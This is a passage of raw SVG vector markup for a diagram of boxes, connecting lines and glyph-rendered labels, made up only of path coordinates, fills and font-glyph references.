176.96875 125.710938 L 176.96875 151.960938 L 81.667969 151.960938 Z M 81.667969 125.710938" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="83.082" y="146.359"/><use xlink:href="#b" x="93.102" y="146.359"/><use xlink:href="#b" x="102.008" y="146.359"/><use xlink:href="#c" x="110.914" y="146.359"/><use xlink:href="#d" x="116.773" y="146.359"/><use xlink:href="#e" x="125.328" y="146.359"/><use xlink:href="#f" x="132.32" y="146.359"/><use xlink:href="#g" x="136.422" y="146.359"/><use xlink:href="#h" x="141.285" y="146.359"/><use xlink:href="#i" x="145.777" y="146.359"/><use xlink:href="#d" x="154.762" y="146.359"/><use xlink:href="#f" x="163.316" y="146.359"/><use xlink:href="#j" x="167.418" y="146.359"/><path d="M 197.3125 118.835938 L 605.3125 118.835938 L 605.3125 158.835938 L 197.3125 158.835938 Z M 197.3125 118.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 124.835938 L 197.3125 118.835938 C 194 118.835938 191.3125 121.519531 191.3125 124.835938 Z M 197.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 124.835938 L 611.3125 124.835938 C 611.3125 121.519531 608.625 118.835938 605.3125 118.835938 Z M 605.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 124.835938 L 611.3125 124.835938 L 611.3125 152.835938 L 191.3125 152.835938 Z M 191.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 152.835938 L 191.3125 152.835938 C 191.3125 156.148438 194 158.835938 197.3125 158.835938 Z M 197.3125 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 152.835938 L 605.3125 158.835938 C 608.625 158.835938 611.3125 156.148438 611.3125 152.835938 Z M 605.3125 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 46.460997 L 54.451825 46.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 48.460997 L 54.451825 48.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 46.460997 L 34.051825 46.460997 C 33.8862 46.460997 33.751825 46.595177 33.751825 46.760997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 46.760997 L 54.751825 46.760997 C 54.751825 46.595177 54.61745 46.460997 54.451825 46.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 46.760997 L 33.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 46.760997 L 54.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 48.160997 L 33.751825 48.160997 C 33.751825 48.326622 33.8862 48.460997 34.051825 48.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 48.460997 L 54.451825 48.460997 C 54.61745 48.460997 54.751825 48.326622 54.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 191.3125 161.433594 L 432.511719 161.433594 L 432.511719 184.832031 L 191.3125 184.832031 Z M 191.3125 161.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#k" x="191.313" y="179.836"/><use xlink:href="#l" x="199.008" y="179.836"/><use xlink:href="#m" x="203.949" y="179.836"/><use xlink:href="#n" x="208.891" y="179.836"/><use xlink:href="#n" x="216.215" y="179.836"/><use xlink:href="#l" x="223.656" y="179.836"/><use xlink:href="#o" x="228.598" y="179.836"/><use xlink:href="#p" x="232.406" y="179.836"/><use xlink:href="#q" x="239.613" y="179.836"/><use xlink:href="#q" x="247.406" y="179.836"/><use xlink:href="#m" x="255.199" y="179.836"/><use xlink:href="#n" x="260.141" y="179.836"/><use xlink:href="#r" x="267.582" y="179.836"/><use xlink:href="#r" x="273.656" y="179.836"/><use xlink:href="#s" x="279.73" y="179.836"/><use xlink:href="#o" x="281.898" y="179.836"/><use xlink:href="#t" x="285.707" y="179.836"/><use xlink:href="#u" x="291.957" y="179.836"/><use xlink:href="#v" x="295.16" y="179.836"/><use xlink:href="#u" x="304.633" y="179.836"/><use xlink:href="#o" x="306.664" y="179.836"/><use xlink:href="#w" x="310.473" y="179.836"/><use xlink:href="#x" x="318.285" y="179.836"/><use xlink:href="#y" x="325.746" y="179.836"/><use xlink:href="#s" x="333.168" y="179.836"/><use xlink:href="#o" x="335.336" y="179.836"/><use xlink:href="#z" x="339.145" y="179.836"/><use xlink:href="#x" x="345.258" y="179.836"/><use xlink:href="#A" x="353.031" y="179.836"/><use xlink:href="#B" x="364.75" y="179.836"/><use xlink:href="#p" x="372.582" y="179.836"/><use xlink:href="#C" x="379.789" y="179.836"/><use xlink:href="#D" x="387.699" y="179.836"/><use xlink:href="#o" x="393.988" y="179.836"/><use xlink:href="#C" x="397.797" y="179.836"/><use xlink:href="#p" x="405.707" y="179.836"/><use xlink:href="#A" x="412.914" y="179.836"/><use xlink:href="#n" x="424.633" y="179.836"/></g><path d="M 48.157489 51.129552 L 44.694989 51.12545" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 44.694989 51.12545 C 44.695184 51.00045 44.82038 50.875645 44.94538 50.875645 C 45.07038 50.875841 45.195184 51.001036 45.194989 51.126036 C 45.194794 51.251036 45.069794 51.375841 44.944794 51.375645 C 44.819794 51.375645 44.694794 51.25045 44.694989 51.12545" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 81.667969 207.042969 L 176.96875 207.042969 L 176.96875 233.292969 L 81.667969 233.292969 Z M 81.667969 207.042969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="83.082" y="227.695"/><use xlink:href="#b" x="93.102" y="227.695"/><use xlink:href="#b" x="102.008" y="227.695"/><use xlink:href="#c" x="110.914" y="227.695"/><use xlink:href="#d" x="116.773" y="227.695"/><use xlink:href="#e" x="125.328" y="227.695"/><use xlink:href="#f" x="132.32" y="227.695"/><use xlink:href="#g" x="136.422" y="227.695"/><use xlink:href="#h" x="141.285" y="227.695"/><use xlink:href="#i" x="145.777" y="227.695"/><use xlink:href="#d" x="154.762" y="227.695"/><use xlink:href="#f" x="163.316" y="227.695"/><use xlink:href="#E" x="167.418" y="227.695"/><path d="M 197.3125 200.167969 L 605.3125 200.167969 L 605.3125 240.167969 L 197.3125 240.167969 Z M 197.3125 200.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 206.167969 L 197.3125 200.167969 C 194 200.167969 191.3125 202.855469 191.3125 206.167969 Z M 197.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 206.167969 L 611.3125 206.167969 C 611.3125 202.855469 608.625 200.167969 605.3125 200.167969 Z M 605.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 206.167969 L 611.3125 206.167969 L 611.3125 234.167969 L 191.3125 234.167969 Z M 191.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 234.167969 L 191.3125 234.167969 C 191.3125 237.480469 194 240.167969 197.3125 240.167969 Z M 197.3125 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 234.167969 L 605.3125 240.167969 C 608.625 240.167969 611.3125 237.480469 611.3125 234.167969 Z M 605.3125 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 50.527598 L 54.451825 50.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 52.527598 L 54.451825 52.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 50.527598 L 34.051825 50.527598 C 33.8862 50.527598 33.751825 50.661973 33.751825 50.827598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 50.827598 L 54.751825 50.827598 C 54.751825 50.661973 54.61745 50.527598 54.451825 50.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 50.827598 L 33.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 50.827598 L 54.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 52.227598 L 33.751825 52.227598 C 33.751825 52.393223 33.8862 52.527598 34.051825 52.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 52.527598 L 54.451825 52.527598 C 54.61745 52.527598 54.751825 52.393223 54.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 190.8125 242.433594 L 415.710938 242.433594 L 415.710938 265.832031 L 190.8125 265.832031 Z M 190.8125 242.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#F" x="190.813" y="260.836"/><use xlink:href="#B" x="199.328" y="260.836"/><use xlink:href="#p" x="207.16" y="260.836"/><use xlink:href="#m" x="214.367" y="260.836"/><use xlink:href="#l" x="219.738" y="260.836"/><use xlink:href="#A" x="224.68" y="260.836"/><use xlink:href="#n" x="236.398" y="260.836"/><use xlink:href="#C" x="243.84" y="260.836"/><use xlink:href="#l" x="251.75" y="260.836"/><use xlink:href="#s" x="256.691" y="260.836"/><use xlink:href="#o" x="258.859" y="260.836"/><use xlink:href="#r" x="262.668" y="260.836"/><use xlink:href="#G" x="268.742" y="260.836"/><use xlink:href="#H" x="276.555" y="260.836"/><use xlink:href="#l" x="280.461" y="260.836"/><use xlink:href="#n" x="285.285" y="260.836"/><use xlink:href="#s" x="292.727" y="260.836"/><use xlink:href="#o" x="294.895" y="260.836"/><use xlink:href="#G" x="298.703" y="260.836"/><use xlink:href="#C" x="306.516" y="260.836"/><use xlink:href="#H" x="314.426" y="260.836"/><use xlink:href="#l" x="318.332" y="260.836"/><use xlink:href="#s" x="323.273" y="260.836"/><use xlink:href="#o" x="325.441" y="260.836"/><use xlink:href="#w" x="329.25" y="260.836"/><use xlink:href="#G" x="337.063" y="260.836"/><use xlink:href="#H" x="344.875" y="260.836"/><use xlink:href="#I" x="348.781" y="260.836"/><use xlink:href="#q" x="352.98" y="260.836"/><use xlink:href="#H" x="360.773" y="260.836"/><use xlink:href="#C" x="364.68" y="260.836"/><use xlink:href="#J" x="372.59" y="260.836"/><use xlink:href="#s" x="380.363" y="260.836"/><use xlink:href="#o" x="382.531" y="260.836"/><use xlink:href="#K" x="386.34" y="260.836"/><use xlink:href="#x" x="394.777" y="260.836"/><use xlink:href="#x" x="402.551" y="260.836"/><use xlink:href="#m" x="410.324" y="260.836"/></g><path d="M 148.910156 290.542969 L 176.308594 290.542969 L 176.308594 316.792969 L 148.910156 316.792969 Z M 148.910156 290.542969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#L" x="149.242" y="311.195"/><use xlink:href="#h" x="158.383" y="311.195"/><use xlink:href="#M" x="162.875" y="311.195"/><use xlink:href="#N" x="168.305" y="311.195"/><path d="M 197.3125 283.667969 L 385.3125 283.667969 L 385.3125 323.667969 L 197.3125 323.667969 Z M 197.3125 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 289.667969 L 197.3125 283.667969 C 194 283.667969 191.3125 286.355469 191.3125 289.667969 Z M 197.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.3125 289.667969 L 391.3125 289.667969 C 391.3125 286.355469 388.625 283.667969 385.3125 283.667969 Z M 385.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 289.667969 L 391.3125 289.667969 L 391.3125 317.667969 L 191.3125 317.667969 Z M 191.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 317.667969 L 191.3125 317.667969 C 191.3125 320.980469 194 323.667969 197.3125 323.667969 Z M 197.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.3125 317.667969 L 385.3125 323.667969 C 388.625 323.667969 391.3125 320.980469 391.3125 317.667969 Z M 385.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 54.702598 L 43.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 56.702598 L 43.451825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 54.702598 L 34.051825 54.702598 C 33.8862 54.702598 33.751825 54.836973 33.751825 55.002598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.751825 55.002598 L 43.751825 55.002598 C 43.751825 54.836973 43.61745 54.702598 43.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 55.002598 L 33.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.751825 55.002598 L 43.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 56.402598 L 33.751825 56.402598 C 33.751825 56.568223 33.8862 56.702598 34.051825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.451825 56.702598 L 43.451825 56.702598 C 43.61745 56.702598 43.751825 56.568223 43.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 113.960938 361.773438 L 176.3125 361.773438 L 176.3125 388.023438 L 113.960938 388.023438 Z M 113.960938 361.773438" fill-rule="evenodd" fill="#fff"/><use xlink:href="#O" x="114.887" y="382.422"/><use xlink:href="#P" x="123.793" y="382.422"/><use xlink:href="#Q" x="128.559" y="382.422"/><use xlink:href="#f" x="137.465" y="382.422"/><use xlink:href="#L" x="141.352" y="382.422"/><use xlink:href="#R" x="149.945" y="382.422"/><use xlink:href="#b" x="158.852" y="382.422"/><use xlink:href="#d" x="167.758" y="382.422"/><path d="M 197.3125 354.898438 L 305.3125 354.898438 L 305.3125 394.898438 L 197.3125 394.898438 Z M 197.3125 354.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 360.898438 L 197.3125 354.898438 C 194 354.898438 191.3125 357.585938 191.3125 360.898438 Z M 197.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.3125 360.898438 L 311.3125 360.898438 C 311.3125 357.585938 308.625 354.898438 305.3125 354.898438 Z M 305.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 360.898438 L 311.3125 360.898438 L 311.3125 388.898438 L 191.3125 388.898438 Z M 191.3125 360.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 388.898438 L 191.3125 388.898438 C 191.3125 392.210938 194 394.898438 197.3125 394.898438 Z M 197.3125 388.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.3125 388.898438 L 305.3125 394.898438 C 308.625 394.898438 311.3125 392.210938 311.3125 388.898438 Z M 305.3125 388.898438" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 58.264122 L 39.451825 58.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 60.264122 L 39.451825 60.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 58.264122 L 34.051825 58.264122 C 33.8862 58.264122 33.751825 58.398497 33.751825 58.564122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.751825 58.564122 L 39.751825 58.564122 C 39.751825 58.398497 39.61745 58.264122 39.451825 58.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 58.564122 L 33.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.751825 58.564122 L 39.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 59.964122 L 33.751825 59.964122 C 33.751825 60.129747 33.8862 60.264122 34.051825 60.264122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.451825 60.264122 L 39.451825 60.264122 C 39.61745 60.264122 39.751825 60.129747 39.751825 59.964122" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 477.3125 283.667969 L 605.3125 283.667969 L 605.3125 323.667969 L 477.3125 323.667969 Z M 477.3125 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.3125 289.667969 L 477.3125 283.667969 C 474 283.667969 471.3125 286.355469 471.3125 289.667969 Z M 477.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 289.667969 L 611.3125 289.667969 C 611.3125 286.355469 608.625 283.667969 605.3125 283.667969 Z M 605.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 471.3125 289.667969 L 611.3125 289.667969 L 611.3125 317.667969 L 471.3125 317.667969 Z M 471.3125 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.3125 317.667969 L 471.3125 317.667969 C 471.3125 320.980469 474 323.667969 477.3125 323.667969 Z M 477.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 317.667969 L 605.3125 323.667969 C 608.625 323.667969 611.3125 320.980469 611.3125 317.667969 Z M 605.3125 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 48.051825 54.702598 L 54.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.051825 56.702598 L 54.451825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.051825 54.702598 L 48.051825 54.702598 C 47.8862 54.702598 47.751825 54.836973 47.751825 55.002598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 55.002598 L 54.751825 55.002598 C 54.751825 54.836973 54.61745 54.702598 54.451825 54.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.751825 55.002598 L 47.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 55.002598 L 54.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.751825 56.402598 L 47.751825 56.402598 C 47.751825 56.568223 47.8862 56.702598 48.051825 56.702598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 56.702598 L 54.451825 56.702598 C 54.61745 56.702598 54.751825 56.568223 54.751825 56.402598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 422.511719 290.542969 L 460.3125 290.542969 L 460.3125 316.792969 L 422.511719 316.792969 Z M 422.511719 290.542969" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#S" x="423.066" y="311.195"/><use xlink:href="#M" x="431.855" y="311.195"/><use xlink:href="#T" x="437.676" y="311.195"/><use xlink:href="#M" x="445.938" y="311.195"/><use xlink:href="#d" x="451.758" y="311.195"/></g><path d="M 27.900653 42.973497 L 27.905536 44.871934" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 27.905536 44.871934 C 27.780536 44.87213 27.655145 44.74752 27.65495 44.62252 C 27.654559 44.49752 27.779169 44.37213 27.904169 44.371934 C 28.029169 44.371544 28.154559 44.496348 28.15495 44.621348 C 28.155145 44.746348 28.030536 44.871544 27.905536 44.871934" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 46.275067 43.802208 L 46.249091 49.473887" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 46.249091 49.473887 C 46.124091 49.473302 45.999481 49.347716 46.000067 49.222716 C 46.000653 49.097716 46.126239 48.973302 46.251239 48.973887 C 46.376239 48.974473 46.500653 49.100059 46.500067 49.225059 C 46.499481 49.350059 46.374091 49.474473 46.249091 49.473887" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 519.304688 458.691406 L 696.003906 458.691406 L 696.003906 482.089844 L 519.304688 482.089844 Z M 519.304688 458.691406" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="519.305" y="477.09"/><use xlink:href="#x" x="527.137" y="477.09"/><use xlink:href="#r" x="534.91" y="477.09"/><use xlink:href="#l" x="540.984" y="477.09"/><use xlink:href="#p" x="545.926" y="477.09"/><use xlink:href="#I" x="553.133" y="477.09"/><use xlink:href="#U" x="557.332" y="477.09"/><use xlink:href="#p" x="563.348" y="477.09"/><use xlink:href="#q" x="570.555" y="477.09"/><use xlink:href="#q" x="578.348" y="477.09"/><use xlink:href="#m" x="586.141" y="477.09"/><use xlink:href="#n" x="591.082" y="477.09"/><use xlink:href="#r" x="598.523" y="477.09"/><use xlink:href="#r" x="604.598" y="477.09"/><use xlink:href="#U" x="610.672" y="477.09"/><use xlink:href="#r" x="616.688" y="477.09"/><use xlink:href="#l" x="622.762" y="477.09"/><use xlink:href="#p" x="627.703" y="477.09"/><use xlink:href="#l" x="634.91" y="477.09"/><use xlink:href="#n" x="639.734" y="477.09"/><use xlink:href="#U" x="647.176" y="477.09"/><use xlink:href="#V" x="653.191" y="477.09"/><use xlink:href="#H" x="663.816" y="477.09"/><use xlink:href="#q" x="667.723" y="477.09"/><use xlink:href="#J" x="675.516" y="477.09"/><use xlink:href="#n" x="683.289" y="477.09"/><use xlink:href="#l" x="690.73" y="477.09"/></g><path d="M 44.988281 24.355469 L 165.839844 24.355469 L 165.839844 47.753906 L 44.988281 47.753906 Z M 44.988281 24.355469" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="44.988" y="42.754"/><use xlink:href="#x" x="52.82" y="42.754"/><use xlink:href="#r" x="60.594" y="42.754"/><use xlink:href="#l" x="66.668" y="42.754"/><use xlink:href="#p" x="71.609" y="42.754"/><use xlink:href="#I" x="78.816" y="42.754"/><use xlink:href="#U" x="83.016" y="42.754"/><use xlink:href="#p" x="89.031" y="42.754"/><use xlink:href="#q" x="96.238" y="42.754"/><use xlink:href="#q" x="104.031" y="42.754"/><use xlink:href="#m" x="111.824" y="42.754"/><use xlink:href="#n" x="116.766" y="42.754"/><use xlink:href="#r" x="124.207" y="42.754"/><use xlink:href="#r" x="130.281" y="42.754"/><use xlink:href="#U" x="136.355" y="42.754"/><use xlink:href="#m" x="142.371" y="42.754"/><use xlink:href="#x" x="147.313" y="42.754"/><use xlink:href="#V" x="154.949" y="42.754"/></g><path d="M 311.148438 41.605469 L 524.5 41.605469 L 524.5 65.003906 L 311.148438 65.003906 Z M 311.148438 41.605469" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="311.148" y="60.008"/><use xlink:href="#x" x="318.98" y="60.008"/><use xlink:href="#r" x="326.754" y="60.008"/><use xlink:href="#l" x="332.828" y="60.008"/><use xlink:href="#p" x="337.77" y="60.008"/><use xlink:href="#I" x="344.977" y="60.008"/><use xlink:href="#U" x="349.176" y="60.008"/><use xlink:href="#p" x="355.191" y="60.008"/><use xlink:href="#q" x="362.398" y="60.008"/><use xlink:href="#q" x="370.191" y="60.008"/><use xlink:href="#m" x="377.984" y="60.008"/><use xlink:href="#n" x="382.926" y="60.008"/><use xlink:href="#r" x="390.367" y="60.008"/><use xlink:href="#r" x="396.441" y="60.008"/><use xlink:href="#U" x="402.516" y="60.008"/><use xlink:href="#p" x="408.531" y="60.008"/><use xlink:href="#q" x="415.738" y="60.008"/><use xlink:href="#q" x="423.531" y="60.008"/><use xlink:href="#m" x="431.324" y="60.008"/><use xlink:href="#n" x="436.266" y="60.008"/><use xlink:href="#r" x="443.707" y="60.008"/><use xlink:href="#r" x="449.781" y="60.008"/><use xlink:href="#W" x="455.855" y="60.008"/><use xlink:href="#H" x="463.316" y="60.008"/><use xlink:href="#C" x="467.223" y="60.008"/><use xlink:href="#n" x="475.133" y="60.008"/><use xlink:href="#X" x="482.574" y="60.008"/><use xlink:href="#U" x="490.68" y="60.008"/><use xlink:href="#Y" x="496.695" y="60.008"/><use xlink:href="#n" x="504.625" y="60.008"/><use xlink:href="#I" x="512.066" y="60.008"/><use xlink:href="#B" x="516.266" y="60.008"/></g><path d="M 54.402344 467.421875 L 238.003906 467.421875 L 238.003906 490.820312 L 54.402344 490.820312 Z M 54.402344 467.421875" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#B" x="54.402" y="485.82"/><use xlink:href="#x" x="62.234" y="485.82"/><use xlink:href="#r" x="70.008" y="485.82"/><use xlink:href="#l" x="76.082" y="485.82"/><use xlink:href="#p" x="81.023" y="485.82"/><use xlink:href="#I" x="88.23" y="485.82"/><use xlink:href="#U" x="92.43" y="485.82"/><use xlink:href="#p" x="98.445" y="485.82"/><use xlink:href="#q" x="105.652" y="485.82"/><use xlink:href="#q" x="113.445" y="485.82"/><use xlink:href="#m" x="121.238" y="485.82"/><use xlink:href="#n" x="126.18" y="485.82"/><use xlink:href="#r" x="133.621" y="485.82"/><use xlink:href="#r" x="139.695" y="485.82"/><use xlink:href="#U" x="145.77" y="485.82"/><use xlink:href="#Z" x="151.785" y="485.82"/><use xlink:href="#H" x="158.27" y="485.82"/><use xlink:href="#B" x="162.176" y="485.82"/><use xlink:href="#aa" x="170.008" y="485.82"/><use xlink:href="#x" x="177.781" y="485.82"/><use xlink:href="#q" x="185.555" y="485.82"/><use xlink:href="#n" x="193.348" y="485.82"/><use xlink:href="#U" x="200.789" y="485.82"/><use xlink:href="#I" x="206.805" y="485.82"/><use xlink:href="#p" x="211.004" y="485.82"/><use xlink:href="#w" x="218.211" y="485.82"/><use xlink:href="#n" x="226.023" y="485.82"/><use xlink:href="#I" x="233.465" y="485.82"/></g><path d="M 53.802606 63.60045 L 53.829364 56.467247" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 53.829364 56.467247 C 53.954364 56.467637 54.078778 56.593223 54.078387 56.718223 C 54.077997 56.843223 53.952411 56.967637 53.827411 56.967247 C 53.702411 56.966661 53.577997 56.84127 53.578387 56.71627 C 53.578778 56.59127 53.704364 56.466661 53.829364 56.467247" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 29.356122 63.967833 L 29.382684 59.091075" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 29.382684 59.091075 C 29.507684 59.091856 29.632098 59.217442 29.631317 59.342442 C 29.630731 59.467442 29.50495 59.591856 29.37995 59.591075 C 29.25495 59.590489 29.130731 59.464708 29.131317 59.339708 C 29.132098 59.214708 29.257684 59.090489 29.382684 59.091075" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/></svg> +<svg 